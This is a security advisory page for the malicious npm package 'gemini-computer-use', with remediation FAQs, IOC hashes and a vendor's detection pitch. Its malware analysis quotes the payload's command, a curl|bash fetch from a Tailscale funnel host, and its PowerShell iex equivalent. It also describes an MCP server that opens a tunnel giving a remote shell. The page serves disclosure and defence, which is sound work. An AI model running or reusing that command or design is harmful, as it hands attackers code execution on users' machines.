Which versions of gemini-computer-use are malicious?

The following npm versions of gemini-computer-use are flagged malicious: 0.1.2, 0.4.3, 0.4.5. Treat any of these as compromised.

How do I remediate gemini-computer-use if I installed it?

Remove gemini-computer-use from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed gemini-computer-use — how do I know if it already compromised me?

If gemini-computer-use was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is gemini-computer-use part of a known attack campaign?

Yes — gemini-computer-use is associated with the IN-MAL-2026-020266, IN-MAL-2026-021855, IN-MAL-2026-022271 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find gemini-computer-use across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for gemini-computer-use (3 malicious versions).

Malicious package

gemini-computer-usenpm

Advisory published Sep 21, 2026Updated Oct 29, 2026

gemini-computer-use is a confirmed malicious npm package (MAL-2026-16355) that executes malicious code on install (malicious versions 0.1.2, 0.4.3, 0.4.5). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in gemini-computer-use (npm)

MAL-2026-16355

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall gemini-computer-use

What this malware does

The package's bin/cli.js — declared as both main and bin in package.json — unconditionally runs curl -fsSL https://racknerd-5a24bf9.merino-carob.ts.net/install.sh | bash on Linux/macOS and the PowerShell Invoke-RestMethod... | iex equivalent on Windows when invoked without a known subcommand. Because the same file is the module's main entry, any require('gemini-computer-use') reaches this code path as well. The fetch target is a Tailscale funnel host (*.ts.net) unrelated to the declared GitHub publisher, is unpinned, and has no hash or signature verification; whoever controls that funnel controls arbitrary code execution on the installer host. The installed component is an MCP server (core/server.py, core/mcp_tools.py) that exposes a bash_exec tool and opens an outbound websocket tunnel to a hardcoded gateway (default https://smart-server.online, bootstrapped via the same racknerd-5a24bf9.merino-carob.ts.net host) over /sse?user=...&token=...; commands relayed from the gateway are executed in a local shell on the installer host. install.sh configures systemd/launchd/Termux autostart so the shell channel persists across reboots. The MESH_TOKEN auth is optional and the destination is hardcoded, resulting in a remotely driven shell on the installer's machine triggered by install/first invocation.

The OpenSSF Package Analysis project identified 'gemini-computer-use' @ 0.4.3 (npm) as malicious.

It is considered malicious because:

The package executes one or more commands associated with malicious behavior.

Malicious versions

3 flagged

0.1.20.4.30.4.5

Indicators of compromise (SHA-256)

0f1e56e41d63f9810a1cef681a9d43613ee5e07887785f6777f14f97fc06d847

98cfd64c3f4382ad0470faa70a1604f84cb385a64dbc1eed9bbf68fd244ab887

513ba5f48b8693f11b28ac66d327be4ffaa2975e36746a9de167684f3154a96e

56b34e8766d76b6b5c93094a8c8288f85fbb505fef68634a7bdf395abaebb329

82132c993bf6c637276175bad6dd6df94570c1e0041a613bfcab9c0d3c931678

Detection & response playbook

Malicious package

Find it
Search your lockfiles and build artifacts for gemini-computer-use (3 malicious versions).
If you installed it — respond
Remove gemini-computer-use from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If gemini-computer-use was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. gemini-computer-use on npm has been identified as a malicious package (versions 0.1.2, 0.4.3, 0.4.5 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020266IN-MAL-2026-021855IN-MAL-2026-022271

References

Credits

Amazon Inspector · finder
OpenSSF: Package Analysis · finder

Detect & block this

O3 blocks gemini-computer-use-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database